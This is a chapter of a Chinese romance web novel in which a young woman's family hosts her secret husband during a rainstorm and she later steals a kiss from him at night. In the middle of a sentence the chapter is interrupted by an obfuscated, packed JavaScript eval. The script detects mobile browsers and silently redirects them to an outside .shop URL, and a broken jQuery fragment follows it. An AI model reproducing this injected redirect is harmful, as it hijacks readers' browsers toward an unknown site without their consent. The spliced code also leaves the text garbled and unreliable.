车子重新启动。
常妙报了地址后,车内就陷入了安静。
方沉兰坐在后面,常妙不敢有太明显的动作,只歪头将视线落在车窗上,想偷偷观察梁嵛的表情,但太黑了,她怎么瞧都看不见。
想了想,常妙点开手机,给梁嵛编辑了一条消息过去,看到梁嵛口袋里亮了下,她才转头将注意力放到了窗外。
今夜的雨下得厉害,城南还好,但一路向北,常妙发现雨量明显有增大,最直观的就是车窗,一道道细细的水痕已经变成了一条条水流,雨刷都有点来不及刮。
梁嵛的车速已经彻底降了下来,而刚才经过的一些街道,有的路面已经或轻或重地被淹了,常妙想起梁嵛今天说的那个路面塌陷,心里忍不住有些担心,“阿……梁嵛,这还能继续开吗?”
梁嵛扫了眼导航,离目的地已经不远,“放心,可以送你们回去。”
我们?
他准备把她也放下?
那他怎么办,这种天气,很难正常行驶吧。
常妙欲言又止。
但幸好,方沉兰这时扶着副驾的椅背靠过来也开口了。
“小梁,你送我们回去,那你呢?”
梁嵛不是那种会盲目视危险而不顾的人,他其实也并不打算再开下去,他计划的是把常妙和她妈妈送回家,然后自己在附近随便找个酒店住一晚,或者小旅馆也行,凑活把今天过去。
梁嵛:“我家不在这边,一会儿随便找个酒店住一晚,阿姨您不用担心。”
方沉兰想了想,断绝了他的这种期望,“可是我们这附近没有酒店。”
“那种小旅馆……”方沉兰轻吸了口气,有点洁癖发作,忍不住劝说,“小梁,要不你跟我们一块回去吧?晚上这么大雨开车真的太危险了,阿姨怎么能不担心,你不介意的话,要不去我们家将就一晚?”
常妙眼睛一亮,非常赞同这个提议,“是啊,你去我们家住吧?可能地方是有点小,但总比外面干净。”
女儿都搭腔了,方沉兰就更坚定了,“对,小梁,你听阿姨的,当初你帮了我们家这么大忙,今天下着雨还送我回家,我们家都不知道怎么感谢你的。对了,明天不是周末吗,你休息吗?正好在我们家吃饭啊,我来下厨!”
常妙挑了下眉,对这项提议就有点存疑了,但是,“你就来吧,不然再这样跑,小心又发烧了。”
梁嵛:“……”
母女俩你一言我一语的,梁嵛没有不答应的份儿,只是把车开到楼底下,他嗡嗡的脑子里只有一句话。
常妙和她妈妈确实很像。
伞只有一把,常妙下车先把方沉兰送到楼梯口,再折回来接梁嵛,她抬着胳膊太累,梁嵛下意识想帮她拿,但手刚碰到杆子,就被常妙受惊地打了下去。
她很小声又抱歉地说:“我妈妈还在看着呢!”
梁嵛无法,只得由着她,他微微弯下腰,跟她一起在雨中快跑,因为步伐不一致,又要顾着对方别被雨淋到,两人不时就要撞到,最后磕磕绊绊地进了单元楼。
常妙家就在二楼,方沉兰看两人过来了,率先去开了门,方程南在家,听见声音也跑了过来。
常妙有朋友要来借住一晚的事情他知道了,家里现在简陋,拖鞋他刚才翻了半天幸好有一双多余的,现在都摆在了鞋架跟前,方便人一会儿换。
方程南:“姐,人呢?”
另外还有一点,梁嵛是当初借给他们家二十万的人,方程南也听说了,比起常妙和方沉兰,他自觉是对这个家最亏欠的人,这恩人上门,可得要招待好人家!
方沉兰指了下身后,“刚停好车,正过来呢。”
方程南侧身让方沉兰先进,然后自己又钻出去看。
很快,他看见外甥女儿和一个身形清隽的男人一同顶着伞跑了进来,男人收了伞,在楼梯下抖了抖水,回头准备上楼梯时,两人猝不及防对上眼,方程南立刻笑呵呵地给他挥了挥手,热情道:“哈喽~”
-
进了屋,常妙和梁嵛换鞋,方程南还在旁边咧着嘴看着他们,常妙见状脚下快速一蹬,穿上拖鞋给梁嵛介绍,“这是我舅舅,你也跟着叫舅舅吧。”
“舅舅,这是我朋友,叫梁嵛。”
方程南是个和善的性子,名字都知道了,不等梁嵛先跟他问个好,他就忍不住上下打量了梁嵛一番,“哎呀,个子可真高啊,比我高一头呢,是吧妙妙?”
常妙:“是啊,一八六呢,比你整高十厘米。”
“嚯哟!”
常妙听这一声夸张的“嚯哟”,本来还心情还有点闷闷的,这一下,嘴角就有点压不住,她知道舅舅方程南其实并不善于交际,现在这状态完全是当初外公不在以后硬磨出来的,但也只是一些表面的交流,多了他就不知道该说什么了。
而梁嵛,他是可以聊的人,但他讲话太直白了,又偏被动,一般人未必能承受,所以这俩人在一起,常妙都不敢看他俩一块聊天的场面。
今天是没这个机会了,都九点多快十点了,平时妈妈和舅舅这个点都收拾着准备睡觉了,但他们三个这会儿才回来,有被雨淋的,还有两个串味儿的,排队挨个洗完澡出来至少都得一个小时以后了。
方沉兰和常妙先去洗,方程南则帮着梁嵛收拾晚上睡觉的地方。
他房间里的那个是张单人床,两个人睡不下,但小客厅里的这个沙发,底下可以抽出来当成一个床来使用,就是客厅空间不大,完全伸展开最好还是要把饭桌挪走。
梁嵛知道方程南的腰不好,收桌子的时候没让他帮忙,他干活利索,方程南还想跟他拉扯几句,这年轻人已经把桌子搬起来了,他大惊,忙指挥着挪放位置。
这桌子不是能折叠的,厨房进不去,只能是放到鞋架旁边,跟沙发能隔个一脚左右的距离。
“这就行了,你坐下休息会儿吧,我给你去找身儿换洗衣服。”
“谢谢舅舅。”
方程南摆手,“不用客气。”
-
洗完澡出来,两侧的房门关着,梁嵛知道是常妙的妈妈和舅舅怕他出来不自在,但时间确实也很晚了,从窗户看出去对面的楼基本都黑了灯,他于是也不耽误,低头用最快的速度把头发吹干,然后简单收拾了下卫生间,关灯,上床。
睡意不足,梁嵛盯着天花板看了两秒,选择闭上眼睛,睡得着睡不着的,多闭一会儿也就睡着了。
外面的雨声不停,不知道下了多久,中间一度渐停,后面又下了起来,最后方程南的屋子里也传出来淡淡的鼾声。
梁嵛就这么静静听着。
突然,方沉兰卧室的方向缓缓响起了一阵小心翼翼扭门把手的声音。
梁嵛开始以为是方沉兰起夜,他装睡翻了个身,但除了那道扭门把手的声音外,他后面却再没听到开关门的声音。
这就有些奇怪了。
梁嵛睁开眼,往房门的方向看去,这一回头,要不是脑子反应的快,他可能真得吓一跳。
常妙彼时穿着一身白色的睡裙,正鬼鬼祟祟地在地上爬行,她头发长,因为低着头,导致后面的头发都落到了前面来,餐桌的位置正好卡在卧室到小客厅的这段走廊里,正常走的话,需要侧着身才能过来。
但她,思路清奇,选择了从桌子底下爬过来……
常妙心里也不想的,桌子上都放的杂物,她万一不小心碰倒一个发出声音怎么办。
“妙妙?”
突然听见有人叫她,常妙一个抬头,脑袋直接撞桌子上了,砰的一声。
“哎哟!”
常妙轻呼,然后惊慌捂住嘴保持安静,没听见里屋的两人有什么动静,她这才放下心又往前爬了爬。
梁嵛坐起来,按着她头摸了摸,其实刚才那下不重,但常妙皮肤薄,免不了要红一阵。
“你怎么出来了?”他压低声音问,这会儿少说也都十二点多了。
常妙蹲在地上,借着外面微弱的光瞧他,“我来看看你睡了没。”
梁嵛不解,撩开被子先给常妙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281237|136973||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
腾了个位置,“别窝着,先坐上来吧。”
这块地方真的很小,常妙现在身子大部分还是在桌子底下,只有一个脑袋露了出来,别说待会儿会不会再碰一下,这么蹲着也不舒服。
常妙却理理裙子,一字一顿地拒绝说:“目、标、太、大!”
梁嵛这下懂了,她是趁着她妈妈睡着溜出来的。
常妙不仅要降低自己的存在感,还想把梁嵛这大目标的存在感也降一降,她伸手拉着梁嵛躺下,“你就这样躺着,我跟你说会儿话就走。”
梁嵛看了看她,放松侧躺下来。
安静几秒。
常妙抿了下唇,悄声问:“你怎么还不睡觉?快一点了。”
没睡和睡着了被吵醒的声音是不一样的,他明显是没睡。
梁嵛:“不困。”
“哦。”常妙说,“……今天那家火锅还挺好吃的。”
梁嵛:“那下次有空我再带你去?”
常妙:“好啊。”
又琢磨了会儿还能再铺垫什么,梁嵛开口,“妙妙,你对我可以有话直说。”
常妙眨了下眼,笑,“我已经在向你学习啦。”
这么蹲着确实也难受,常妙调整了下姿势,两只脚往前蹭了蹭,胳膊搭在床边,趴过去垫着下巴说:“我给你发的信息你怎么没回啊?”
梁嵛一怔,“我没看。”
他伸手想去摸手机,但被常妙拉住,“不用了,我可以直接说。”
“我就是想问问你,是不是为车上的话不高兴了?我跟我妈妈说的那些。”
梁嵛:“没有。”
“真没有?”常妙质疑,“阿嵛,你会骗人了。”
结果梁嵛语气正经,“不会骗人的不是一直是你?”
常妙:“……”
梁嵛:“不过我没骗你,我没有不高兴,我知道你为什么那么做。你跟你家人关系很好,我当初的举动其实后来想想,换成任何一个人来看确实很有心怀不轨的嫌疑,所以你不跟他们说实话我理解,这也代表你相信我。”
“只是。”
“?”
常妙凑近准备细听。
“下次别给我编个女朋友了,我只有一个妻子。”
常妙视线移至梁嵛的脸上,呆了呆,心跳在雨声的掩盖下还是让她紧张,过了一会儿,她点头如捣蒜地退回去,“我不编了,我马上就正式毕业了,后面会找机会跟他们说清楚的。”
“不过,还是不能太快,从男朋友开始可以吗?”
梁嵛浅浅提起唇角。
“当然。”
达成约定,两个人算是各自暗暗地放下了一点心事,梁嵛就这么躺着看了会儿常妙,忽然意识到,“不回去睡吗?”
常妙“啊”了声,抬起手,“我摸摸你额头就走。”
梁嵛有些无奈,只是生了一次病而已,怎么搞得他好像一直身体都不好似的,但他还是撑起身子,顺从地等她摸完去睡觉。
常妙眸光微闪,“是这吗?”
她感受着触到的轮廓,不确定地问。
“不……”
梁嵛倏地一怔,有什么软软的在他脸上轻点而过。
常妙做完坏事,屏住呼吸,瞪大眼睛看他。
好几秒过去。
……嗯。
怎么没反应呢?
羽鹭说亲完一定要看眼睛,可是这么黑她真的看不到那么细节,那现在他不主动又不后退是什么意思?
不喜欢她吗?
常妙简直对这个推论如遭雷劈,女孩子的脸皮可是很薄的,她有勇气亲他,可没勇气在这一直等他,脑袋烫的发昏,她转头就跑。
“哎呦!”
常妙又被桌子碰了一下。
梁嵛回了神,起身想叫住常妙,但她爬得飞快,迟疑的两秒就叫她溜进了屋里。
黑暗中,他一个人坐在床边,脸上那种温软的触感好像还没消失。
喉结忽地滚动了下,他视线下落,眼睫颤动。